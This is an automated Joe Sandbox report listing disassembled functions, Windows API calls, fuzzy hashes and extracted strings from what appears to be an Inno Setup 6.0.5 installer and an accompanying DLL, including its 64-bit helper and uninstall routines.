Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: DefaultLanguage$SystemUser
String ID:
API String ID: 384301227-0
Opcode ID: 20e8ba98e2816f8af13bed9515c1d960020764da17156fa36e2f3308999935a6
Instruction ID: 44e41ead65ef66f727125de80912159cd7281fcfb7f7393cce7e535fa76c4ae3
Opcode Fuzzy Hash: 20e8ba98e2816f8af13bed9515c1d960020764da17156fa36e2f3308999935a6
Instruction Fuzzy Hash: D4312E70A10209DBDB10EB99D8C2AAEB7B5EB44304F50467BE400B72D5DB78AD45CB99

Function 100135C0 Relevance: 3.1, APIs: 2, Instructions: 58COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000022,00000040,1001304F,000000FF,?,1001304F,00000040,00000022,?), ref: 100135F7

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Fiopen@std@@U_iobuf@@
String ID:
API String ID: 2284775142-0
Opcode ID: 4f9c097bd9ff1fc27bc4b621ca56d4494d79341367a5276cc761d7329a66d7a3
Instruction ID: 655dba523039e8c1ca7b53558f86e7561812b5aaf6b8d3e237c0567069c37aa1
Opcode Fuzzy Hash: 4f9c097bd9ff1fc27bc4b621ca56d4494d79341367a5276cc761d7329a66d7a3
Instruction Fuzzy Hash: 08213AB5D04209EFCB04DF98CC81BAEB7B4FB48750F108628E526A7390D735AA50CBA0

Function 0040CBAC Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CBE8
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CC39

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileLibraryLoadModuleName
String ID:
API String ID: 1159719554-0
Opcode ID: 4383079db15fcd8ef662a46fade05db089f3147d55ebe15ae5cef73a62b66191
Instruction ID: c1507673094f8c5292584a269d2518184869565b67f53896f9c973a0a4d881f3
Opcode Fuzzy Hash: 4383079db15fcd8ef662a46fade05db089f3147d55ebe15ae5cef73a62b66191
Instruction Fuzzy Hash: 8411BF70A4420CABEB10EF60CD86BDD73B8DB04704F5041BAB408B32C1DA385F80CA99

Function 00428614 Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042861E
LoadLibraryW.KERNEL32(00000000,00000000,00428668,?,00000000,00428686,?,00008000), ref: 0042864D

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 46fa6bf7c39c9205b4f2e33c71be27e1bd0f5d6462176cf82db7d2d05287f296
Instruction ID: 872fb0b1150bba30eaf2acd4e0c3a99a1078ee24a947000b27c0355be161ab5f
Opcode Fuzzy Hash: 46fa6bf7c39c9205b4f2e33c71be27e1bd0f5d6462176cf82db7d2d05287f296
Instruction Fuzzy Hash: 81F02770A14744BFDB119F768C6286FBBECE70DB0079348BAF900E2A91EA3C4810C568

Function 0040E4B8 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000000,00010000,?,00001000), ref: 0040E4FD

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 8f13a3bbcb92e65e3f2aea17991442021eb2561ecef5d5fcc5ebd3e194779de1
Instruction ID: a47970919856236c0168dc23f1bd1acf46059580e87ddf9fa247c61dd49d6e22
Opcode Fuzzy Hash: 8f13a3bbcb92e65e3f2aea17991442021eb2561ecef5d5fcc5ebd3e194779de1
Instruction Fuzzy Hash: 84F096B1700200ABDB10DA5ECCC5B5732CC9B58349F048876B508EB396EA38DC1487AA

Function 10012F10 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 10012C90: ?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(100053B9,?,10012F2A,?,100053B9), ref: 10012C9A
Part of subcall function 10012C90: ?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(CCC35DE5,CCC35DE5,8B55CCCC,?,10012F2A,?,100053B9), ref: 10012CC2

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(0175FE68,?,100053B9), ref: 10012F4D

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?eback@?$basic_streambuf@?setg@?$basic_streambuf@D00@fclose
String ID:
API String ID: 2996004546-0
Opcode ID: 709d4a9117c949bef376609371d5c1e3fdd0bce17311b82dc2022546a51ab83c
Instruction ID: a9d9b0767c6718a53788ed456b677ecfb587c67211e8534dc0a09bbe97dd6693
Opcode Fuzzy Hash: 709d4a9117c949bef376609371d5c1e3fdd0bce17311b82dc2022546a51ab83c
Instruction Fuzzy Hash: C001C9B4A04209EBDB04DF94D996B9DBBB5EF40704F2080A8E9016F391DB71EF95DB81

Function 0040B920 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00400000,?,0000020A), ref: 0040B93E

Part of subcall function 0040CBAC: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CBE8
Part of subcall function 0040CBAC: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CC39

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: 92830e843a0290b8fb819179a769738ed0c8430f51dc52ce8e13e1d58c902946
Instruction ID: b028abd3538c11208bb69536d004979ed80801884fb39c7b18fc8ecc13332f26
Opcode Fuzzy Hash: 92830e843a0290b8fb819179a769738ed0c8430f51dc52ce8e13e1d58c902946
Instruction Fuzzy Hash: DDE0EDB1A403109BCB10DF58C8C5A473BE8AB08754F044A66ED68DF386D375DD1087D5

Function 10012400 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 10012F10: fclose.API-MS-WIN-CRT-STDIO-L1-1-0(0175FE68,?,100053B9), ref: 10012F4D

?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,10005395), ref: 1001242D

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ?setstate@?$basic_ios@D@std@@@std@@U?$char_traits@fclose
String ID:
API String ID: 2040537880-0
Opcode ID: 93dd7eb5169e86885b55c767c8327cd94ed4ae90235ab5dc8049e23af4a0f4b1
Instruction ID: b5d0b15e863f3ba68657ea4ca4a108191cbcefbbccc9c59a0a057f78330705e7
Opcode Fuzzy Hash: 93dd7eb5169e86885b55c767c8327cd94ed4ae90235ab5dc8049e23af4a0f4b1
Instruction Fuzzy Hash: 1FE01A74A00208EFDB08DB94C981B6CBBB5EF85305F6081A8D9066B381D631AE22DB84

Function 10005520 Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(100108FE,?,100108FE,00000000,?,?,?,0000005C,?), ref: 10005527

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3d5163279ec740a988f09b9f2e08219c395a46ee1d8e65d4cb22b1e97629421d
Instruction ID: f2f8e3d453fe78865ccc53f7e24a17e21a0dec87b166a9a16b5ac37ce018f2ca
Opcode Fuzzy Hash: 3d5163279ec740a988f09b9f2e08219c395a46ee1d8e65d4cb22b1e97629421d
Instruction Fuzzy Hash: 5BC02B7520471C57AF808EE4BC448CB33ECD7095C33004000FE0CCB100C532E7019B60

Function 10005740 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000080,?,100115DD,?,00000000,?,?,?,?,?,?,00000063,?,00000070,?), ref: 10005751

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123067e2a9cf58ddff2a572c946f291cd475b681d30bc16dccd5dbc98fb432a1
Instruction ID: ee6079dce25d93f15e917eacbc87c037c8b3b96b664cac2b0563e90788469a29
Opcode Fuzzy Hash: 123067e2a9cf58ddff2a572c946f291cd475b681d30bc16dccd5dbc98fb432a1
Instruction Fuzzy Hash: BEB09B3454030C67D5446B51DC59E15771CF7456D1F004450F94D57151CF75FA4447D8

Function 0042866F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042868D), ref: 00428680

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 66a180434acd903a05dc67d5e34fa237f32a14c00a9ee3962d59800cd762fd6b
Instruction ID: 696cc173350d5948746636284ada699740c3da0e40302307c28099bcb0f56c81
Opcode Fuzzy Hash: 66a180434acd903a05dc67d5e34fa237f32a14c00a9ee3962d59800cd762fd6b
Instruction Fuzzy Hash: 77B09B7670C2145EAF05DBA5791155C67D4D7C87107E1446BF114C3540D97C54148528

Function 10004A70 Relevance: 1.5, APIs: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

allocator.LIBCONCRTD ref: 10004A7C

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 817b939fb322faf8aa4a8908d91c84128208cf71eecda2aa4e4aa1b252350f97
Instruction ID: 49106881f87acc91c15ffb423cd80b113fa76448b9a27e8f77458942fb597c13
Opcode Fuzzy Hash: 817b939fb322faf8aa4a8908d91c84128208cf71eecda2aa4e4aa1b252350f97
Instruction Fuzzy Hash: 7EC0927425820CAB8B08DF88E891C6973ADEB89650B008169BC0E8B352CE30BD40CA9D

Function 00403C6C Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,-00000004,000000BF,00404283,0000001B,00404828,02453360,0040726E,0040760F,?,00000000,02453360,004072DD), ref: 00403C83

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d39b22df79555fe4438253863038b616525278bed3867586134d7713ba648576
Instruction ID: f9c7199d2a20b3d4535cb586bdcc75df61911083c239a6e183f6db4c37c8fba7
Opcode Fuzzy Hash: d39b22df79555fe4438253863038b616525278bed3867586134d7713ba648576
Instruction Fuzzy Hash: EBF0A9F2B003214FE714DFB89E41702BBEAE748355F11427EE989EB798D7B09901A784

Non-executed Functions

Function 0061A76C Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 187pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0061A7D4
QueryPerformanceCounter.KERNEL32(?,00000000,0061AA67,?,?,?,00000000,?,0061B466,?,?,00000000), ref: 0061A7DD
GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0061A7E7
GetCurrentProcessId.KERNEL32(?,?,00000000,0061AA67,?,?,?,00000000,?,0061B466,?,?,00000000), ref: 0061A7F0
CreateNamedPipeW.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0061A866
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0061A874
CreateFileW.KERNEL32(00000000,C0000000,00000000,00661F70,00000003,00000000,00000000,00000000,0061AA23,?,00000000,40080003,00000006,00000001,00002000,00002000), ref: 0061A8BC
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,0061AA12,?,00000000,C0000000,00000000,00661F70,00000003,00000000,00000000,00000000,0061AA23), ref: 0061A8F5

Part of subcall function 005B09C4: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005B09D7

CreateProcessW.KERNEL32(00000000,00000000,?,00000000,00000000,000000FF,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 0061A99E
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,000000FF,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0061A9D4
CloseHandle.KERNEL32(000000FF,0061AA19,?,00000000,00000000,000000FF,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 0061AA0C

Part of subcall function 005F84D8: GetLastError.KERNEL32(00000000,005F91EE,00000005,00000000,005F9216,?,?,0066978C,?,00000000,00000000,00000000,?,00650A7F,00000000,00650A9A), ref: 005F84DB

Strings

SetNamedPipeHandleState, xrefs: 0061A8FE
i, xrefs: 0061A951
helper %d 0x%x, xrefs: 0061A97D
Cannot utilize 64-bit features on this version of Windows, xrefs: 0061A7B5
CreateFile, xrefs: 0061A8CA
D, xrefs: 0061A917
CreateProcess, xrefs: 0061A9A7
Starting 64-bit helper process., xrefs: 0061A7A1
64-bit helper EXE wasn't extracted, xrefs: 0061A7C8
CreateNamedPipe, xrefs: 0061A884
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 0061A83C
Helper process PID: %u, xrefs: 0061A9F1

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-3271284199
Opcode ID: 8b417e6bfe7b416bc203fcebf180cb54b99f1040917cd1cd9b5e41bc12d13ce3
Instruction ID: 3503b57a197a75d7cee75c72a57885d42cb6c05f4df10585553db908d6458071
Opcode Fuzzy Hash: 8b417e6bfe7b416bc203fcebf180cb54b99f1040917cd1cd9b5e41bc12d13ce3
Instruction Fuzzy Hash: 94713270A003499FEB10DFA9CC45BEEBBF5AB05704F1445A9F508EB392D7749980CB66

Function 0064F1DC Relevance: 37.3, APIs: 4, Strings: 17, Instructions: 562COMMON

Download Yara Rule

Strings

InitializeUninstall, xrefs: 0064F64B
Uninstall DAT: , xrefs: 0064F306
Setup version: Inno Setup version 6.0.5 (u), xrefs: 0064F2D8
Uninstall command line: , xrefs: 0064F326
Cannot find utCompiledCode record for this version of the uninstaller, xrefs: 0064F452
InitializeUninstall returned False; aborting., xrefs: 0064F67E
Install was done in 64-bit mode but not running 64-bit Windows now, xrefs: 0064F4A8
Removed all? %s, xrefs: 0064F79F
Not calling UninstallNeedRestart because a restart has already been deemed necessary., xrefs: 0064F85D
UninstallNeedRestart, xrefs: 0064F7DF, 0064F81C
Will restart because UninstallNeedRestart returned True., xrefs: 0064F82E
Event, xrefs: 0064F57B
DeinitializeUninstall, xrefs: 0064FA0C
Original Uninstall EXE: , xrefs: 0064F2EB
Need to restart Windows? %s, xrefs: 0064F880
Will not restart Windows automatically., xrefs: 0064F962
Uninstall, xrefs: 0064F28B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
